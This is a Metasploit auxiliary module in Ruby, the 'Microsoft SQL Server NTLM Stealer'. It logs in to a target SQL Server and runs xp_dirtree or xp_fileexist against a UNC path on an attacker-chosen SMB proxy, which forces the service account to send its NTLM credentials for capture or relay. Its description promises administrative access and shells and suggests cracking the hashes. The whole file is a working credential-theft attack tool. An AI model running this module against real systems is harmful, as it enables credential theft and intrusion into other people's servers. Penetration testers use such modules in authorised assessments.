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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::MSSQL
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Microsoft SQL Server NTLM Stealer',
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        'Description' => %q{
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          This module can be used to help capture or relay the LM/NTLM credentials of the
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          account running the remote SQL Server service. The module will use the supplied
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          credentials to connect to the target SQL Server instance and execute the native
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          "xp_dirtree" or "xp_fileexist" stored procedure.   The stored procedures will then
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          force the service account to authenticate to the system defined in the SMBProxy
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          option. In order for the attack to be successful, the SMB capture or relay module
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          must be running on the system defined as the SMBProxy.  The database account used
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          to connect to the database should only require the "PUBLIC" role to execute.
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          Successful execution of this attack usually results in local administrative access
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          to the Windows system.  Specifically, this works great for relaying credentials
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          between two SQL Servers using a shared service account to get shells.  However, if
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          the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
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          and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
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          inspiration.
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        },
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        'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
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        'License' => MSF_LICENSE,
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        'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
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      ]
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    )
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  end
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  def run_host(_ip)
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    # Reminder
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    print_status('DONT FORGET to run a SMB capture or relay module!')
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    # Call auth_force method to execute "xp_dirtree"
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    begin
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      force_auth('xp_dirtree', datastore['SMBPROXY'])
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      return
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    rescue StandardError
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      print_error('xp_dirtree failed to initiate authentication to smbproxy.')
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    end
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    # Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
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    begin
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      force_auth('xp_fileexist', datastore['SMBPROXY'])
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    rescue StandardError
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      print_error('xp_fileexist failed to initiate authentication to smbproxy.')
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    end
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  end
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  # Method to force sql server to authenticate
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  def force_auth(sprocedure, smbproxy)
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    print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
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    # Generate random file name
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    rand_filename = Rex::Text.rand_text_alpha(8, '')
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    # Setup query
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    sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
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    result = mssql_query(sql, false) if mssql_login_datastore
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    result[:rows]
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    print_good("Successfully executed #{sprocedure} on #{rhost}")
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    print_good('Go check your SMB relay or capture module for goodies!')
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  end
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end
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